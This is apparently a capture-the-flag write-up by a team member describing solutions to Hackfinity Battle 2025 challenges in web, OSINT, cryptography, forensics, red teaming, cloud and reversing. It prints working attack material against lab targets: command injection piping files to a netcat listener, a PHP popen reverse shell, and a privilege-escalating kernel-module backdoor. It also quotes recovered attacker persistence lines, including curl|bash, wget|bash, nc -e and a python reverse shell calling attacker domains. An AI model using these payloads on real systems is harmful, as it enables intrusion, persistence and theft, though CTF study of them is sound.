Page cover image

Hackfinity Battle CTF 2025

Hey, fellow hackers! 🏴‍☠️

In this writeup 📝, I’ll break down some of the exciting challenges solved by myself and my squad P4rad0x. Let’s dive in and unpack the flags, one puzzle at a time. 🧩💡

Web

Notepad

Challenge Description

I am given a simple login for an online notepad service.

Credentials:

  • User: noel

  • Pass: pass1234

Notepad Login

After logging in, the URL shows a classic pattern: /note?id=1

User Note

That triggered an alarm. And it is IDOR (Insecure Direct Object Reference). Tampering with the ID parameter gives access to other users notes.

Changing id=1id=0 revealed the very first note created on the service… and inside:

Flag

THM{i_can_see_your_notes}

Dark Encryptor

Challenge Description

Upon visiting http://<machine_ip>:5000, you’re greeted with a site offering encryption using PGP. It accepts a message from the user and returns the encrypted version.

Dark Encryptor Webpage

Submitting ; alone gave an error indicating bash was parsing the input — a sign of command injection.

PGP Encryption Error

By chaining commands, like:

; ls

I can list the directory contents.

RCE Vulnerability

By listing the files in the directory, I found a file flag.txt Using cat printed the contents of the file.

; cat flag.txt

THM{pgp_cant_stop_me}

Dark Encryptor 2

Challenge Description

This time, the site allows you to upload a file and choose a recipient for encryption using GPG.

Website

After uploading a file, the app returns a .gpg link:

Uploaded file

Accessing this directly works — but there’s more.

Changing the recipient didn’t yield much — until you tried injecting into the filename or parameters.

Eventually, command injection slipped through in "recipient" parameter . Using payloads like before:

; ls will not go through

Burpsuite - Testing command injection

Using ; $(ls) will throw an error in encryption attempt. which shows the command is running but we can't see the output here.

Burpsuite - Encryption failed error

So , I used netcat to receive data from the server. A crafted reverse shell allowed it to send command output to the listener.

; $( ls | nc <listener-ip> <listener-port> )

Burpsuite - command injection works

I can list the directory contents. By listing the files in the directory, I found a file flag.txt Using cat printed the contents of the file.

; $( cat flag.txt | nc <listener-ip> <listener-port> )

THM{going_in_bl1nd_2394}

Osint

Catch me if you can

Challenge Description

We’re provided with a image of Cipher’s accomplice “Phicer” leaving a restaurant.

The mission: Identify the burger restaurant using only the photo. Time to zoom in, enhance, and hit the virtual streets.

Here's the image we were given:

Given Image

After inspecting the image closely, I noticed a unique street art mural on the wall in the background — a perfect anchor for visual location hunting.

I tried several reverse image search engines (Google Lens, Yandex), and after a bit of patience, I got a hit! The mural appeared in a few public Instagram posts, mostly geotagged around São Paulo, Brazil. Narrowing further, I matched the mural to a specific alley known for graffiti art.

Found Mural

Boom💥— we hit the spot!

THM{coringa_do_beco}

Catch Me If You Can 3

Challenge Description

The next challenge builds on the previous one — now that we’ve found a visual clue, we need to dig into one of Cipher’s safe house locations.

We’re given a clue that mentions Mr. Wok, and the location is somewhere in São Paulo.

The Approach:

I Googled: "mr.wok" "safe house" São Paulo

Found Location

It led me to a business listing and maps result that matched the style and area from the previous clue. I examined the address and compared it to our last known location.

It checked out! This was indeed one of Cipher’s safe spots.

THM{83_galvao_bueno}

Cryptography

Order

Challenge Description

We’re given this hex blob:

1c1c01041963730f31352a3a386e24356b3d32392b6f6b0d323c22243f6373

1a0d0c302d3b2b1a292a3a38282c2f222d2a112d282c31202d2d2e24352e60
  1. Assume the message starts with ORDER:

  2. XOR the first 6 bytes of the ciphertext with ORDER: to get the key

  3. Use the repeating key to decrypt the whole thing

💻 Decryption Script:

msg = "1c1c01041963730f31352a3a386e24356b3d32392b6f6b0d323c22243f63731a0d0c302d3b2b1a292a3a38282c2f222d2a112d282c31202d2d2e24352e60"

encmsg = bytes.fromhex(msg)

key = "ORDER:"

dec_key = ""

for i in range(len(key)):
	dec_key += chr(encmsg[i] ^ ord(key[i]))

dec_msg = ""

for i in range(len(encmsg)):
	dec_msg += chr(encmsg[i] ^ ord(dec_key[i%6]))

print(dec_msg)

Result: ORDER: Attack at dawn. Target: THM{the_hackfinity_highschool}

THM{the_hackfinity_highschool}

Cipher's Secret Message

Challenge Description

We found a strange encrypted string and the algorithm that created it. Time to play cipher surgeon.

a_up4qr_kaiaf0_bujktaz_qm_su4ux_cpbq_ETZ_rhrudm

Encryption Logic:

They used a twist on the Caesar cipher — for each letter in the message, shift it forward by its position index.

Python snippet:

from secret import FLAG

def enc(plaintext):
    return "".join(
        chr((ord(c) - (base := ord('A') if c.isupper() else ord('a')) + i) % 26 + base) 
        if c.isalpha() else c
        for i, c in enumerate(plaintext)
    )

with open("message.txt", "w") as f:
    f.write(enc(FLAG))

To decrypt, we simply reverse the index shift.

💻 Decryption Script:

encmsg = "a_up4qr_kaiaf0_bujktaz_qm_su4ux_cpbq_ETZ_rhrudm"

shifted_chr = ""

for i, c in enumerate(encmsg):
    if c.isalpha():
        if c.isupper():
            base = ord('A')
        else:
            base = ord('a')

        shifted_chr += chr((ord(c) - base - i) % 26 + base)
    else:
        shifted_chr += c

print(shifted_chr)

Output:

THM{a_sm4ll_crypt0_message_to_st4rt_with_THM_cracks}

Cryptosystem

Challenge Description

We intercepted Cipher’s secret RSA message. All we got is a file containing the encrypted flag and the encryption logic. Time to go full 007.

Understanding the Given RSA Setup

You provided an RSA encryption setup where:

  • p is a 1024-bit prime

  • q is the next prime after p

  • n=p×q

  • e=65537 (common public exponent) # 0x10001

  • c is the encrypted flag

To decrypt c back to plaintext. First, Get p and q, From the code:

p = getPrime(1024)
q = primo(p)
  • p is random, and q is the next prime after p (primo(p)).

  • Given n = p × q, we can factor n by finding the largest prime ≤ sqrt(n). And, Obtain d

ϕ(n) = (p−1) × (q−1)

d= e^−1 mod  ϕ(n)

Using modular inverse, we compute d. Then, find the flag.

m = c^d mod n

Convert m (the decrypted number) back to a string.

💻 Decryption Script:

from Crypto.Util.number import long_to_bytes, inverse, isPrime
from sympy import nextprime
import math

# Given values
c = 3591116664311986976882299385598135447435246460706500887241769555088416359682787844532414943573794993699976035504884662834956846849863199643104254423886040489307177240200877443325036469020737734735252009890203860703565467027494906178455257487560902599823364571072627673274663460167258994444999732164163413069705603918912918029341906731249618390560631294516460072060282096338188363218018310558256333502075481132593474784272529318141983016684762611853350058135420177436511646593703541994904632405891675848987355444490338162636360806437862679321612136147437578799696630631933277767263530526354532898655937702383789647510
n = 15956250162063169819282947443743274370048643274416742655348817823973383829364700573954709256391245826513107784713930378963551647706777479778285473302665664446406061485616884195924631582130633137574953293367927991283669562895956699807156958071540818023122362163066253240925121801013767660074748021238790391454429710804497432783852601549399523002968004989537717283440868312648042676103745061431799927120153523260328285953425136675794192604406865878795209326998767174918642599709728617452705492122243853548109914399185369813289827342294084203933615645390728890698153490318636544474714700796569746488209438597446475170891

e = 0x10001  # Public exponent (65537)

p = math.isqrt(n)  # Approximate square root of 'n'
while not isPrime(p):
    p -= 1 

q = nextprime(p)  # Since q is the next prime after p

assert p * q == n  # Ensure correct factorization
phi = (p - 1) * (q - 1) 
d = inverse(e, phi) # Obtain private exponent 'd'

m = pow(c, d, n)
flag = long_to_bytes(m)

print("Decrypted Flag:", flag.decode())

Output:

THM{Just_s0m3_small_amount_of_RSA!}

Forensics

Stolen Mount

Challenge Description

Loaded the provided challenge.pcapng file in Wireshark. Immediately noticed a bunch of TCP and NFS traffic—lots of noise, but we need the signal. Scanned for patterns and signatures… then

BOOM! Found a familiar ZIP file header.

Wireshark - Zip File Signature

Looked for PK\x03\x04 in Wireshark (magic bytes of ZIP files). Found it buried in a data packet.

Extracted the entire hexdump of the ZIP stream and used CyberChef to reconstruct the ZIP file.

Cyberchef - File Extraction

ZIP is Password Protected?!

  • Not a problem—this isn’t our first rodeo.

  • Dug deeper in the PCAP and found an MD5 hash floating in one of the packets.

Wireshark - Zip Password

Cracked the Hash using CrackStation. The password of the zip file is avengers .💥

Crackstation

Unzipped the file with the password and it worked!. Inside a QR code.

Flag - QR

Scanned the QR for flag.

THM{n0t_s3cur3_f1l3_sh4r1ng}

Infinity Shell

Challenge Description

Something shady hit this CMS site. Let's rewind the tape and see how the attacker broke in, and what shell games they played.

Explored the Web Server, Navigated through the CMS site and discovered a db.php file and started poking around. It has the SQL username and password with that I searched the database.

SQL config file

Accessed SQL Database and found php_cms as the main DB.

MariaDB [php_cms]> show tables;
+-------------------+
| Tables_in_php_cms |
+-------------------+
| categories        |
| comments          |
| posts             |
| users             |
+-------------------+
4 rows in set (0.000 sec)

In that the "users" table looked interesting… and one entry stood out:

MariaDB [php_cms]> select * from users;
+---------+------------+----------------+---------------+--------------------------------------------------------------+------------------------+-------------------------+-----------+----------+
| user_id | user_name  | user_firstname | user_lastname | user_password                                                | user_email             | user_image              | user_role | randsalt |
+---------+------------+----------------+---------------+--------------------------------------------------------------+------------------------+-------------------------+-----------+----------+
[REDACTED]
|       8 | not_cipher | not            | cipher        | $2y$10$.r0xqnJI.1c4kmVReStRvOC3IekD6L7WH9PJLgNnNv2awxZVSfLz6 | notcipher@proton.me    | images.php              | User      | dgas     |
+---------+------------+----------------+---------------+--------------------------------------------------------------+------------------------+-------------------------+-----------+----------+
5 rows in set (0.001 sec)

A PHP file as a profile image? Classic Web Shell trick!

Inspected the Malicious File:

<?php system(base64_decode($_GET['query'])); ?>
  • A very compact Remote Command Execution (RCE) backdoor.

  • The attacker could send base64-encoded commands via the URL.

So, I hunted for the log files and I found some interesting logs in /var/log/apache2/other_vhosts_access.log.1 . It logged every move of the attacker!

HTTP traffic log
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:50:41 +0000] "GET /CMSsite-master/img/images.php HTTP/1.1" 500 185 "http://10.10.80.94:8080/CMSsite-master/img/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:50:57 +0000] "GET /CMSsite-master/img/images.php?query=d2hvYW1pCg== HTTP/1.1" 200 212 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:11 +0000] "GET /CMSsite-master/img/images.php?query=bHMK HTTP/1.1" 200 660 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:20 +0000] "GET /CMSsite-master/img/images.php?query=ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo= HTTP/1.1" 200 229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:28 +0000] "GET /CMSsite-master/img/images.php?query=aWZjb25maWcK HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:40 +0000] "GET /CMSsite-master/img/images.php?query=Y2F0IC9ldGMvcGFzc3dkCg== HTTP/1.1" 200 1546 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
ip-10-10-80-94.eu-west-1.compute.internal:80 10.11.93.143 - - [06/Mar/2025:09:51:47 +0000] "GET /CMSsite-master/img/images.php?query=aWQK HTTP/1.1" 200 258 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"

Decoded Base64 Commands:

?query=d2hvYW1pCg== # whoami
?query=bHMK # ls
?query=ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo= # echo 'THM{sup3r_34sy_w3bsh3ll}'
?query=aWZjb25maWcK # ifconfig
?query=Y2F0IC9ldGMvcGFzc3dkCg== # cat /etc/passwd
?query=aWQK # id
Cyberchef - Attacker commands

THM{sup3r_34sy_w3bsh3ll}

Sneaky Patch

Challenge Description

Analysts say there's something shady deep in the kernel. Normal tools aren't seeing it. Looks like we're dealing with a backdoored module. Let’s dig deeper than deep

First step, I scanned kernel logs, looked into /var/log/kern.log and spotted this spicy entry:

[CIPHER BACKDOOR] Module loaded. Write data to /proc/cipher_bd

/proc/cipher_bd , but the file is empty. After some looking around, I stumble upon the name “spatch”.

It is a custom kernel module (spatch) and it was loaded:

spatch: loading out-of-tree module taints kernel.
spatch: module verification failed: signature and/or required key missing - tainting kernel

For identifiying the module details. I used lsmod , it showed it was active.

modinfo spatch gave metadata:

filename: /lib/modules/6.8.0-1016-aws/kernel/drivers/misc/spatch.ko
description: Cipher is always root
author: Cipher
license: GPL
srcversion: 81BE8A2753A1D8A9F28E91E
depends:
retpoline: Y
name: spatch
vermagic: 6.8.0-1016-aws SMP mod_unload modversions

This gives so much inforamtion about the backdoor, in that we got the kernel object file spatch.ko .

Used strings on it and found some interesting data.

Here's the secret: 54484d7b73757033725f736e33346b795f643030727d0a

Decoding the hex, Boom💥

THM{sup3r_sn34ky_d00r}

Hide and Seek

Challenge Description

"I've sprinkled a few persistence implants across your system, like digital Easter eggs... Time is on my side, always running like clockwork..."

He gave us riddles. We gave him receipts.

Clue 1: "Time is on my side, always running like clockwork."

Sounds like... cronjobs or anything time-based. But got nothing. Then I looked into system logs.

Found something in /var/log/syslog.1

(root) CMD (/bin/bash -c 'echo Y3VybCAtcyA1NDQ4NGQ3Yjc5MzAuc3RvcmFnM19jMXBoM3JzcXU0ZC5uZXQvYS5zaCB8IGJhc2gK |
base64 -d | bash 2>/dev/null')

Decoding the base64 gives us curl -s 54484d7b7930.storag3_c1ph3rsqu4d.net/a.sh | bash

Cyberchef - Part 1

54484d7b7930 is hex → converts to

THM{y0

Clue 2: “A secret handshake gets me in every time.”

Handshake = SSH

There are five users to be exact, I search every user's ".ssh". User "zeroday" has ".authorized_keys" file. Inside it has a interesting string

326e6420706172743a20755f6730745f.local

Cyberchef - Part 2

326e6420706172743a20755f6730745f is hex → converts to

2nd part: u_g0t_

Clue 3: "Whenever you set the stage, I make my entrance."

This one's theatrical — maybe a reference to login scripts. There is no user defined scripts. Then I checked the .bashrc and .profile file of every user.

.bashrc — jackpot in specter user profile:

nc -e /bin/bash 4d334a6b58334130636e513649444e324d334a3564416f3d.cipher.io 443 2>/dev/null
Cyberchef - Part 3

4d334a6b58334130636e513649444e324d334a3564416f3d is hex → converts to

3rd_p4rt: 3v3ryt

Clue 4: "I run with the big dogs, booting up alongside the system."

Persistence at system startup? Checked for systemd services...

systemctl list-unit-files | grep enabled

Found a shady one:

...
brltty.service                                 disabled        enabled
cipher.service                                 enabled         enabled
cloud-config.service                           enabled         enabled
...

cipher.service enabled and running.

Then I searched through the service and how it is executed using

systemctl show cipher | grep ExecStart

ExecStart={ path=/bin/bash ; argv[]=/bin/bash -c wget NHRoIHBhcnQgLSBoMW5nXyAK.s1mpl3bd.com --output - | bash 2>/dev/null ; ignore_errors=no ; start_time=[n/a] ; stop_time=[n/a] ; pid=0 ; code=(null) ; status=0/0 }
ExecStartEx={ path=/bin/bash ; argv[]=/bin/bash -c wget NHRoIHBhcnQgLSBoMW5nXyAK.s1mpl3bd.com --output - | bash 2>/dev/null ; flags= ; start_time=[n/a] ; stop_time=[n/a] ; pid=0 ; code=(null) ; status=0/0 }

NHRoIHBhcnQgLSBoMW5nXyAK.s1mpl3bd.com in this we get

Cyberchef - Part 4

NHRoIHBhcnQgLSBoMW5nXyAK is base64 → converts to

4th part - h1ng_

Clue 5: “I love welcome messages.”

Checked:

  • /etc/motd → Message of the Day

  • /etc/issue → Pre-login message

  • /etc/issue.net → Remote login message

No luck. Then I dove into /etc/update-motd.d/00-headerbingo.

python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("4c61737420706172743a206430776e7d0.h1dd3nd00r.n3t",)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' 2>/dev/null

4c61737420706172743a206430776e7d0.h1dd3nd00r.n3t from this we get

Cyberchef - Part 5

4c61737420706172743a206430776e7d0 is hex → converts to

Last part: d0wn}

Final flag → THM{y0u_g0t_3v3ryth1ng_d0wn}

Red Teaming

Avengers Hub

Challenge Description

Initial Reconnaissance

Network Scanning:

The first step was to perform an Nmap scan to identify open ports and services running on the target machine.

nmap -sC -sV <attacker-ip> | tee nmap.txt

Scan Results:

Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2025-03-19 22:14 IST
Nmap scan report for 10.10.92.2
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 5d:ec:b7:14:10:c9:a5:ef:61:28:5f:da:c1:ca:5c:3b (RSA)
|   256 08:71:38:b0:4b:5b:85:3a:c0:b2:6a:01:f2:51:44:40 (ECDSA)
|_  256 7c:31:c1:1b:ad:cf:0b:51:e4:23:b8:ea:31:c6:40:7f (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Cyber Avengers Hub - Under Construction
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 54.83 seconds

The scan reveals two open ports:

  • Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu.

  • Port 80 (HTTP): Apache 2.4.41 web server hosting a website titled Cyber Avengers Hub - Under Construction.

With this information, I turned my focus to exploring the web application.

Web Enumeration

Cyber Avengers website

Navigating through the website, I uncovered two important directories:

  • /backups

  • /var/log

Inside the /backups directory, I found a password-protected ZIP file named breakglass.zip. Before attempting to crack it, I explored the /var/log directory.

/var/logs

Here, I found a log file named php_error.log.php, but it was inaccessible, indicating a possible dead-end.

Cracking the Zip Password:

/backups

Since the breakglass.zip file was encrypted, I used zip2john to extract the hash and then cracked it with John the Ripper using the rockyou.txt wordlist.

zip2john breakglass.zip > breakglassziphash
john --wordlist=/usr/share/wordlists/rockyou.txt breakglassziphash

Cracked Password: avenger2008

After extracting the ZIP file, I found a recovery.txt file containing an MD5 hash for the admin password.

In case of emergency, here's the MD5 hash of the admin account:

b0439fae31f8cbba6294af86234d5a28

Using an online hash-cracking service crackstation, the hash revealed the plaintext password: securepassword.

Admin Login & Exploitation

Logging into CMS:

Using the credentials admin:securepassword, I gained access to the WBCE-CMS v1.6.2 admin panel.

A quick search revealed an exploit for this version: WBCE CMS v1.6.2 - Remote Command Execution.

WBCE CMS Login
WBCE CMS Admin page

Exploiting the Vulnerability:

The exploit involved uploading a PHP file through the CMS elFinder tool:

  1. Log in as admin and navigate to Admin Tools.

  2. Open elFinder (https://<target-ip>/admin/admintools/tool.php?tool=elfinder).

  3. Upload a malicious PHP script (exp.inc).

  4. Access the uploaded file (https://<target-ip>/media/exp.inc).

To test the functionality, I uploaded a simple PHP script to output phpinfo().

WBCE CMS elFinder
Triggering the exploit
<html>
<body>
<pre>
<?php
$output = '';
$output = phpinfo();
echo htmlspecialchars($output);
?>
</pre>
</body>
</html>
phpinfo()

The output showed that functions like system and shell_exec were disabled, but popen was available.

Gaining the Reverse shell

Since popen was enabled, I leveraged it to spawn a reverse shell, Reference: popen revshell exploit

<html>
<body>
<pre>
<?php
$cmd = "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/6969 0>&1'";
$fp = popen($cmd, 'r');
while(!feof($fp)) {
    fread($fp, 4096);
}
pclose($fp);
?>
</pre>
</body>
</html>

After uploading the script and setting up a Netcat listener, I received a shell.

nc -lvnp 6969
Shell as www-data

Inside the shell, I enumerated user home directories:

ls /home
qathm  ubuntu  void

Inside void's home directory, I found an .ssh folder with writable .authorized_keys.

SSH Privilege Escalation

To establish persistent access, I generated an SSH key and appended my public key to .authorized_keys.

ssh-keygen -t rsa -b 2048 -C <name>
chmod 600 id_rsa
ssh void@<machine-ip> -i id_rsa

Now, I had SSH access as user void.

Shell as void

THM{us3r_f00th0ld}

Privilege Escalation to Root

Running sudo -l, I found:

User void may run the following commands on this host:
    (ALL) NOPASSWD: /sbin/insmod cyberavengers.ko, /sbin/rmmod cyberavengers

This meant I could load and unload kernel modules. I crafted a malicious kernel module to escalate privileges.

Kernel Module Backdoor:

I used reference from Linux kernel module backdoor by matheuspd and a little Chatgpt to make it.

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/kmod.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Cipher");
MODULE_DESCRIPTION("Cipher is always root!");

int exec_sh_cmd(char *cmd) {
    char *argv[] = {"/bin/bash", "-c", cmd, NULL};
    char *envp[] = {
        "HOME=/",
        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
        NULL
    };
    
    int ret;

    printk(KERN_INFO "[CIPHER BACKDOOR] Executing command: %s\\n", cmd);
    
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
    if (ret < 0) {
        printk(KERN_ERR "[CIPHER BACKDOOR] Error executing command: %d\\n", ret);
        return ret;
    } 

    printk(KERN_INFO "[CIPHER BACKDOOR] Command executed successfully\\n");
    return 0;
}

static int __init shell_exec_init(void) {
    printk(KERN_INFO "[CIPHER BACKDOOR] Module loaded\\n");
    exec_sh_cmd("chmod +s /bin/bash");
    return 0;
}

static void __exit shell_exec_exit(void) {
    printk(KERN_INFO "[CIPHER BACKDORR] Module unloaded\\n");
}

module_init(shell_exec_init);
module_exit(shell_exec_exit);

Makefile:

obj-m += cyberavengers.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Compiling and Executing:

make # create kernel object file
sudo insmod cyberavengers.ko # inserting the kernel object as module
ls -la /bin/bash # Check if modified
/bin/bash -p

Now, I had root access:

void@ip-10-10-216-248:/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
void@ip-10-10-216-248:/tmp$ /bin/bash -p
bash-5.0# whoami
root

The mission was complete!

bash-5.0# dmesg | tail -10
[   31.036288] IPv6: ADDRCONF(NETDEV_CHANGE): ens5: link becomes ready
[   39.004438] loop11: detected capacity change from 0 to 8
[   39.809455] audit: type=1400 audit(1743487459.535:48): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/lib/snapd/snap-confine" pid=880 comm="apparmor_parser"
[   39.828554] audit: type=1400 audit(1743487459.555:49): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/lib/snapd/snap-confine//mount-namespace-capture-helper" pid=880 comm="apparmor_parser"
[ 3427.746909] cyberavengers: loading out-of-tree module taints kernel.
[ 3427.746947] cyberavengers: module verification failed: signature and/or required key missing - tainting kernel
[ 3427.747636] [CIPHER BACKDOOR] Module loaded
[ 3427.747639] [CIPHER BACKDOOR] Executing command: chmod +s /bin/bash
[ 3427.750970] [CIPHER BACKDOOR] Command executed successfully
[ 3597.433668] [CIPHER BACKDORR] Module unloaded

The command is executed and the log is printed as planned.

THM{l3ts_t4k3_1t_b4ck}

Cloud

Cloud sanity check

Challenge Description

I've been handed AWS credentials with a hint: “You only have access to one service — and it’s the one with the flag."

Time to gear up with the aws-cli and dive in.

aws configure
AWS Access Key ID [None]: AKIAU2VYTBGYDDZ5Z7UW
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2

Confirmed the identity with the command aws sts get-caller-identity

User: arn:aws:iam::332173347248:user/user0

Enumeration :

I started probing all available services — until secretsmanager responds!

What is AWS Secrets Manager ?

AWS Secrets Manager is a fully managed service by Amazon Web Services that helps you store, manage, and retrieve sensitive information, like:

  • Database credentials (usernames & passwords)

  • API keys

  • OAuth tokens

  • SSH keys

  • Any other kind of secret

I listed the secrets manager using :

aws secretsmanager list-secrets

{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-west-2:332173347248:secret:secret-flag-Im0H0Z",
            "Name": "secret-flag",
            "LastChangedDate": "2025-03-17T12:45:42.026000+05:30",
            "LastAccessedDate": "2025-03-19T05:30:00+05:30",
            "Tags": [],
            "SecretVersionsToStages": {
                "a007a97d-73c7-430d-879f-e9cc72013f6a": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2025-03-17T12:45:41.704000+05:30"
        }
    ]
}

ID : secret-flag

Extracting the contents of the secret-flag using the command :

aws secretsmanager get-secret-value --secret-id secret-flag

SecretString : "{"flag":"THM{for_your_eyes_only}"}",

THM{for_your_eyes_only}

A Bucket of Phish

Challenge Description

A phishing site hosted via AWS S3 has been targeting users. I was asked to recover the list of victims.

🖥️ Website: http://darkinjector-phish.s3-website-us-west-2.amazonaws.com

Listing S3 buckets using:

aws s3 ls s3://darkinjector-phish/

Discovered a suspicious file: captured-logins-093582390

Download & Reviewed the file using :

aws s3 cp s3://darkinjector-phish/captured-logins-093582390 .

" . " is the current directory, you can use any directory

The contents of the captured-logins-093582390 is :

user,pass
munra@thm.thm,Password123
test@thm.thm,123456
mario@thm.thm,Mario123
flag@thm.thm,THM{this_is_not_what_i_meant_by_public}

THM{this_is_not_what_i_meant_by_public}

Reversing

Compute Magic

Challenge Description

We’re handed a binary from a Phantom server with a simple objective: “Compute some magic!”. Our task? Reverse-engineer the logic, understand what this binary expects, and extract the flag.

After executing the binary locally, it prompts for an input — no hints, just a blank stare waiting for 16 characters.

Loading it into a disassembler (Ghidra), we spot the following:

main()
  • It reads 16 bytes of input.

  • The input is passed into a function named check_spell.

  • Within check_spell, a function of interest appears: func_17.

func_17()

Inside func_17, two notable calls caught the eye:

  • check_other

  • read_flag

Here’s the strategy: make it to read_flag() by satisfying whatever logic check_other() imposes.

read_flag()
check_other()

Digging into the logic :

The check_other() function is doing some math on each character of the input, comparing the results with a hardcoded string: "AhhF1ag1571GHFDS"

By tracing the operations, we deduce the transformation applied to each character:

# Decryption logic (in reverse)
string = "AhhF1ag1571GHFDS"
for i in range(16):
    print(chr(ord(msg[i]) + 4 ^ 13),end='') # HaaG8hf8468FAGEZ

This gives us the required input: HaaG8hf8468FAGEZ

Connecting to the server with netcat and feeding the input, the flag pops right out.

nc <machine-ip> 9003
Compute some magic!
HaaG8hf8468FAGEZ

THM{s0m3_mag1c_that_can_b3_computed}

Last updated